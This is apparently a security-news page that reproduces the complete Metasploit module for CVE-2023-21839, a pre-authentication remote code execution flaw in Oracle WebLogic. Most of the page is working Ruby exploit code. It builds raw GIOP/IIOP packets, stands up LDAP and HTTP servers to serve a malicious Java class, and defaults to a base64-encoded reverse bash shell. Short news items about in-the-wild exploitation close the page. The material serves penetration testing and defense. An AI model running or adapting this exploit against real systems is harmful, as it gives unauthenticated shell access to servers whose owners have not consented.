Security
Headlines
HeadlinesLatestCVEs

Headline

Oracle Weblogic PreAuth Remote Command Execution

Oracle Weblogic versions 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated remote code execution vulnerability due to a post deserialization vulnerability. This Metasploit module exploits this vulnerability to trigger the JNDI connection to a LDAP server you control. The LDAP server will then respond with a remote reference response that points to a HTTP server that you control, where the malicious Java class file will be hosted. Oracle Weblogic will then make an HTTP request to retrieve the malicious Java class file, at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate an instance of that class, granting us remote code execution as the oracle user.

Packet Storm
#vulnerability#web#linux#js#git#java#oracle#rce#ldap#pdf#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::Tcp  include Exploit::Remote::JndiInjection  prepend Msf::Exploit::Remote::AutoCheck  # Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes.  GIOP_REQUEST = 0  GIOP_REPLY = 1  GIOP_CANCEL_REQUEST = 2  GIOP_LOCATE_REQUEST = 3  GIOP_LOCATE_REPLY = 4  GIOP_CLOSE_CONNECTION = 5  GIOP_MESSAGE_ERROR = 6  GIOP_FRAGMENT = 7  # Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF  SYNCSCOPE_NONE = 0  SYNCSCOPE_WITH_TRANSPORT = 0  SYNCSCOPE_WITH_SERVER = 1  SYNCSCOPE_WITH_TARGET = 3  # Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF  ADDR_DISPOSITION_KEYADDR = 0  ADDR_DISPOSITION_PROFILE_ADDR = 1  ADDR_DISPOSITION_REFERENCE_ADDR = 2  # GIOP Protocol RequestReply Header Codes  # Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf  NO_EXCEPTION = 0  USER_EXCEPTION = 1  SYSTEM_EXCEPTION = 2  LOCATION_FORWARD = 3  # GIOP Protocol LocateReply Header Codes  # Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf  UNKNOWN_OBJECT = 0  OBJECT_HERE = 1  OBJECT_FORWARD = 2  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization',        'License' => MSF_LICENSE,        'Author' => [          '4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC.          '14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability.          'Grant Willcox' # @tekwizz123 This Metasploit module        ],        'Description' => %q{          Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated          remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes          a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the          object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable,          which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via          the "lookup()" function.          This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting          a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to          create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java          code during the instantiation of the object, thereby getting remote code execution as the "oracle" user.          This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will          then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java          class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file,          at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate          an instance of that class, granting us RCE as the "oracle" user.          This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability        },        'References' => [          ['CVE', '2023-21839'],          ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory          ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup          ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP          ['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC          ['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert.        ],        'Privileged' => false,        'Targets' => [          [            'Linux', {              'Platform' => %w[unix linux],              'Arch' => [ARCH_CMD],              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2023-01-17',        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(7001),        OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080])      ]    )  end  def get_weblogic_version    socket = connect    http_request = Rex::Proto::Http::ClientRequest.new(      {        'uri' => '/console/login/LoginForm.jsp',        'vhost' => datastore['RHOST'],        'port' => datastore['RPORT']      }    ).to_s    socket.put(http_request.to_s)    res = socket.get    fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res    # Disconnect as we will want a new socket for future connections.    disconnect    # Do the regex on the result to find the version.    version = res.match(/WebLogic Server Version: ((?:\d{1,3}\.){4}\d{1,3})/)    fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil?    version = version[1]    Rex::Version.new(version)  end  def giop_header(msg_type)    header = ''    header << 'GIOP' # Magic    header << "\x01\x02" # Version, in this case 1.2 of the GIOP protocol.    header << "\x00" # Message flags    case msg_type    when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT      header << [msg_type].pack('C')    else      fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!')    end    header << 'LENGTH_REPLACE_ME'  end  # LocateRequest packets are used to determine whether an object reference is valid,  # whether the current server is capable of directly receiving request for the object reference,  # and if not, to what address the request for the object should be sent.  #  # Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27  def giop_locate_request_packet(keyaddress = 'NameService')    header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute    data = ''    packet = ''    @request_id = 1 if @request_id.nil?    @request_id += 1    data << [@request_id].pack('N') # Request ID    data << [0].pack('n') # TargetAddress, 2 byte field    data << [0].pack('n') # Padding, 2 bytes    data << [keyaddress.length].pack('N') # Key Address Length    data << keyaddress    packet << header    packet << data    packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N'))    packet  end  def create_service_context(vscid, scid, context_data, endian = 0)    context = ''    seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length.    context << vscid # 3 byte long VSCID    context << [scid].pack('C') # 1 byte long SCID    context << [seq_length].pack('N') # 4 byte long sequence length    context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian.    context << context_data    context  end  def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length)    header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute    data = ''    packet = ''    @request_id = 1 if @request_id.nil?    @request_id += 1    data << [@request_id].pack('N') # Request ID    data << [sync_scope].pack('C') # Response flags    data << "\x00\x00\x00" # Reserved    data << [addr_disposition].pack('n') # TargetAddress, 2 bytes    data << [0].pack('n') # Two bytes of padding.    data << [key_address.length].pack('N') # Key Address Length    data << key_address    data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?    data << "rebind_any\x00" # Request Operation    service_context_list = ''    service_context_list << "\x00" # Seems we have one byte of padding? Lets account for this.    service_context_list << [context_list_length].pack('N') # Sequence Length    service_context_list << '{SERVICE_CONTEXT_LIST}'    @java_class_name = 'PayloadRuns'    ldap_uri = jndi_string(@java_class_name)    stub_data += [ldap_uri.length].pack('C') + ldap_uri    data << service_context_list    data << stub_data    packet << header    packet << data    packet  end  def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len)    header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute    data = ''    packet = ''    @request_id = 1 if @request_id.nil?    @request_id += 1    data << [@request_id].pack('N') # Request ID    data << [sync_scope].pack('C') # Response flags    data << "\x00\x00\x00" # Reserved    data << [addr_disposition].pack('n') # TargetAddress, 2 bytes    data << [0].pack('n') # Two bytes of padding.    data << [key_address.length].pack('N') # Key Address Length    data << key_address    data << [8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?    data << "resolve\x00" # Request Operation    service_context_list = ''    service_context_list << [context_list_length].pack('N') # Sequence Length    service_context_list << '{SERVICE_CONTEXT_LIST}'    cos_data = ''    if cos_naming_disector      cos_data << "\x00\x00\x00\x00"      cos_data << [seq_len].pack('N') # Sequence length      name_component = "test\x00"      cos_data << [name_component.length].pack('N') # Name component length including NULL byte.      cos_data << name_component      cos_data << "\x00\x00\x00\x00\x00\x00\x01\x00" # Unknown data, Wireshark could not decode this.    end    data << service_context_list    data << cos_data    packet << header    packet << data    packet  end  def check    begin      @version = get_weblogic_version      fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil?    rescue ::Timeout::Error      fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')    rescue Rex::AddressInUse      fail_with(Failure::BadConfig, 'Address is currently in use')    rescue Rex::HostUnreachable      fail_with(Failure::Unreachable, 'Target host is unreachable!')    rescue Rex::ConnectionRefused      fail_with(Failure::Disconnected, 'Target refused connection!')    rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout      fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')    end    if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999'))      return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!')    elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999'))      return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!')    elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999'))      return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!')    else      return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!')    end  end  # HTTP Server Related Functions and Overrides  # Returns the configured URIPATH along with the path to the Java class we are serving  def resource_uri    "#{datastore['URIPATH']}/#{@java_class_name}.class"  end  # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of  # this URL when it tries to fetch the class to be loaded and instantiated.  def ldap_url_string    "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/"  end  #  # Handle the HTTP request and return a response.  Code borrowed from:  # msf/core/exploit/http/server.rb  #  def start_http_service(opts = {})    # Start a new HTTP server    @http_service = Rex::ServiceManager.start(      Rex::Proto::Http::Server,      (opts['ServerPort'] || bindport).to_i,      opts['ServerHost'] || bindhost,      datastore['SSL'],      {        'Msf' => framework,        'MsfExploit' => self      },      opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),      datastore['SSLCert'],      datastore['SSLCompression'],      datastore['SSLCipher'],      datastore['SSLVersion']    )    @http_service.server_name = datastore['HTTP::server_name']    # Default the procedure of the URI to on_request_uri if one isn't    # provided.    uopts = {      'Proc' => method(:on_request_uri),      'Path' => resource_uri    }.update(opts['Uri'] || {})    proto = (datastore['SSL'] ? 'https' : 'http')    netloc = opts['ServerHost'] || bindhost    http_srvport = (opts['ServerPort'] || bindport).to_i    print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}")    # Add path to resource    @service_path = uopts['Path']    @http_service.add_resource(uopts['Path'], uopts)  end  #  # Kill HTTP service (shut it down and clear resources)  #  def cleanup    # Stop the LDAP server    cleanup_service    # Clean and stop HTTP server    if @http_service      begin        @http_service.remove_resource(datastore['URIPATH'])        @http_service.deref        @http_service.stop        @http_service = nil      rescue StandardError => e        print_error("Failed to stop http server due to #{e}")      end    end    super  end  #  # Handle HTTP requests and responses  #  def on_request_uri(cli, request)    agent = request.headers['User-Agent']    vprint_good("Payload requested by #{cli.peerhost} using #{agent}")    class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'))    base64_payload = Rex::Text.encode_base64(payload.encoded)    exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length    command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length    class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('n'))    class_raw = class_raw.gsub('PAYLOAD', base64_payload)    send_response(cli, 200, 'OK', class_raw)  end  #  # Create an HTTP response and then send it  #  def send_response(cli, code, message = 'OK', html = '')    proto = Rex::Proto::Http::DefaultProtocol    res = Rex::Proto::Http::Response.new(code, message, proto)    res.body = html    cli.send_response(res)  end  # LDAP Server Overrides  def build_ldap_search_response_payload    # Always do a remote load    # Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server.    # You can add anchor tags using # to the URL but thats it.    build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name)  end  # Main Exploit  def exploit    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0      fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!')    end    if @version.blank?      @version = get_weblogic_version    end    # Step 1 - Make T3 connection to start IIOP connection process, and read response.    socket = connect    print_status('1. Making T3 connection...')    socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\n\n")    _buf = socket.get    disconnect    print_good('Made T3 connection!')    # Step 2 - Send first GIOP LocateRequest packet    print_status('2. Sending first GIOP LocateRequest packet')    # Make a GIOP LocateRequest packet request and read response.    socket = connect    socket.put(giop_locate_request_packet)    locate_buf = socket.get    disconnect    print_good('Step 2 complete!')    reply_status = locate_buf[16..19].unpack('N')&.dig(0)    if reply_status != OBJECT_FORWARD      fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!')    end    # Calculate the target port    # Start at offset 0x60 which will be inside the GIOP's LocateReply message,    # and will be where the IP address is located in the IOR response.    port_offset = 0x60    # Starting at this offset above, loop until we hit a zero byte in the IOR buffer.    # This works because the PORT number is represented as a 4 byte long number, aka 32 bits,    # and the upper part will never be used. Either that or there is a \x00\x00 padding section    # between the IP address and the port.    loop do      if locate_buf[port_offset] != "\x00"        port_offset += 0x1      else        break      end    end    # If port_offset is too large by this point then we have likely hit an error and should exit    if port_offset > 10240      fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!')    end    # Now, loop until we hit a non-zero byte in the IOR buffer. This should    # place at the location of the port part of the IP address that is embedded in the IOR message.    loop do      if locate_buf[port_offset] == "\x00"        port_offset += 0x1      else        break      end    end    port = []    port.append(locate_buf[port_offset])    port_offset += 1    port.append(locate_buf[port_offset])    # Reformulate the port number from the array so we can get the actual port the target server is expecting us to use.    final_port = port[1].bytes[0] | (port[0].bytes[0] << 8)    # Fail if the received port is not the one we expected.    if final_port != datastore['RPORT']      fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}")    end    lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message.    foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes V~QU5z�U    loop do      if locate_buf[foff] == "\x00"        foff += 0x1      else        break      end    end    key1 = locate_buf[foff...foff + 8]    key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8]    if @version >= Rex::Version.new('12') && @version < Rex::Version.new('13')      wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \                  "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \                  "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \                  "\x00\x00\x00\x00\x00\x00\x00{{key1}}"      wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \                  "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \                  "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \                  "\x00\x00\x00\x00\x00\x00\x00{{key1}}"    elsif @version >= Rex::Version.new('14') && @version < Rex::Version.new('15')      wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \                  "\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \                  "\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \                  "\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00" \                  "\x00\x00\x00\x00\x01\x42\x45\x41\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}"      wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65" \                  "\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72" \                  "\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43\x6f\x6e\x74\x65" \                  "\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41" \                  "\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}"    else      fail_with(Failure::NoTarget, 'Target is not running a supported version of Oracle Weblogic that can be targeted!')    end    wls_key_1.gsub!('{{key1}}', key1)    # Step 3 - Make a rebindAny request    key_addr = wls_key_1    stub_data = "\x00\x00\x00\x01\x00\x00\x00\x04\x74\x65\x73\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01" \                "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x54\x52\x4d\x49\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x6a\x6e\x64\x69\x2e\x69" \                "\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x46\x6f\x72\x65\x69\x67\x6e\x4f\x70\x61\x71\x75\x65\x52\x65\x66\x65\x72\x65\x6e\x63\x65\x3a\x44\x32\x33\x37\x44\x39\x31\x43\x42\x32\x46\x30\x46\x36\x38" \                "\x41\x3a\x33\x44\x32\x31\x35\x32\x37\x46\x45\x44\x35\x39\x36\x45\x46\x31\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42" \                "\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x00"    socket = connect    packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, "\x00\x00\x00\x00" + stub_data, 6)    context_data = ''    @service_context_0 = create_service_context("\x00\x00\x00", 5, "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b")    @service_context_1 = create_service_context("\x00\x00\x00", 1, "\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01")    @service_context_2 = create_service_context("\x42\x45\x41", 0, "\x0a\x03\x01")    context_data << @service_context_0    context_data << @service_context_1    context_data << create_service_context("\x00\x00\x00", 6, "\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43" \      "\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x01\x02\x00\x00\x00\x00" \      "\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \      "\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61" \      "\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x5e\xed\xaf\xde" \      "\xbc\x0d\x22\x70\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00" \      "\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01")    context_data << create_service_context("\x00\x00\x00", 15, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00")    context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")    context_data << @service_context_2    packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)    # To find the true message size:    # 1. Subtract an extra 12 bytes for GIOP header.    # 2. Then subtract length of the LENGTH_REPLACE_ME string.    # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.    message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4    packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))    print_status('3. Sending rebindAny request!')    socket.put(packet)    rebind_any_buf = socket.get    disconnect    print_good('Step 3 complete!')    reply_status_code = rebind_any_buf[16..19].unpack('N')&.dig(0)    if reply_status_code != LOCATION_FORWARD      fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!")    end    start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime                0xac + lt + # IOR ProfileHost ProfilePort                0x5d # ObjectKey Prefix    while rebind_any_buf[start_off] != 0x32      if start_off > 0x2710        break      end      start_off += 1    end    if start_off > 0x2710      key3 = "\x32\x38\x39\x00"    else      key3 = rebind_any_buf[start_off...start_off + 4]    end    wls_key_2.gsub!('{{key3}}', key3)    wls_key_2.gsub!('{{key1}}', key1)    # Step 4 - rebind_any Request Again???    socket = connect    key_addr = wls_key_2    packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, stub_data, 4)    context_data = ''    context_data << @service_context_0    context_data << @service_context_1    context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")    context_data << @service_context_2    packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)    # To find the true message size:    # 1. Subtract an extra 12 bytes for GIOP header.    # 2. Then subtract length of the LENGTH_REPLACE_ME string.    # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.    message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4    packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))    print_status('4. Sending second rebindAny request!')    socket.put(packet)    rebind_any_buf_2 = socket.get    disconnect    print_good('Step 4 complete!')    reply_status_code = rebind_any_buf_2[16..19].unpack('N')&.dig(0)    if reply_status_code != NO_EXCEPTION      fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!")    end    # Step 5 - Send second GIOP LocateRequest packet    print_status('5. Sending second GIOP LocateRequest packet')    socket = connect    socket.put(giop_locate_request_packet)    locate_buf_two = socket.get    disconnect    print_good('Step 5 complete!')    reply_status_code = locate_buf_two[16..19].unpack('N')&.dig(0)    if reply_status_code != OBJECT_FORWARD      fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!")    end    # Step 6 - Resolve packet #1 with wls_key_1    key_addr = wls_key_1    packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1)    context_data = ''    context_data << @service_context_0    context_data << @service_context_1    context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")    context_data << @service_context_2    packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)    # To find the true message size:    # 1. Subtract an extra 12 bytes for GIOP header.    # 2. Then subtract length of the LENGTH_REPLACE_ME string.    # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.    message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4    packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))    print_status('6. Sending resolve packet #1 with wls_key_1')    socket = connect    socket.put(packet)    resolve_packet_wls_key_1 = socket.get    disconnect    print_good('Step 6 complete!')    reply_status_code = resolve_packet_wls_key_1[16..19].unpack('N')&.dig(0)    if reply_status_code != LOCATION_FORWARD      fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!")    end    # Step 7 - Resolve packet #2 with wls_key_2    key_addr = wls_key_2    packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1)    context_data = ''    context_data << @service_context_0    context_data << @service_context_1    context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")    context_data << @service_context_2    packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)    # To find the true message size:    # 1. Subtract an extra 12 bytes for GIOP header.    # 2. Then subtract length of the LENGTH_REPLACE_ME string.    # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.    message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4    packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))    start_service    start_http_service('ServerPort' => datastore['HTTP_SRVPORT'].to_i)    print_status('7. Sending resolve packet #2 with wls_key_2')    socket = connect    socket.put(packet)    step_7_response = socket.get    disconnect    print_good('Step 7 complete!')    reply_status_code = step_7_response[16..19].unpack('N')&.dig(0)    if reply_status_code != USER_EXCEPTION      fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!")    end  endend

Related news

8220 Gang Exploits Oracle WebLogic Server Flaws for Cryptocurrency Mining

Security researchers have shed more light on the cryptocurrency mining operation conducted by the 8220 Gang by exploiting known security flaws in the Oracle WebLogic Server. "The threat actor employs fileless execution techniques, using DLL reflective and process injection, allowing the malware code to run solely in memory and avoid disk-based detection mechanisms," Trend Micro researchers Ahmed

Oracle WebLogic Server vulnerability added to CISA list as “known to be exploited”

Categories: Exploits and vulnerabilities Categories: News Tags: Oracle Tags: WebLogic Tags: CVE-2023-21839 Tags: CVE-2023-1389 Tags: CVE-2021-45046 Tags: CISA Tags: reverse shell An easy to exploit vulnerability in Oracle WebLogic Server has been added to the CISA list of things you really, really need to patch. (Read more...) The post Oracle WebLogic Server vulnerability added to CISA list as “known to be exploited” appeared first on Malwarebytes Labs.

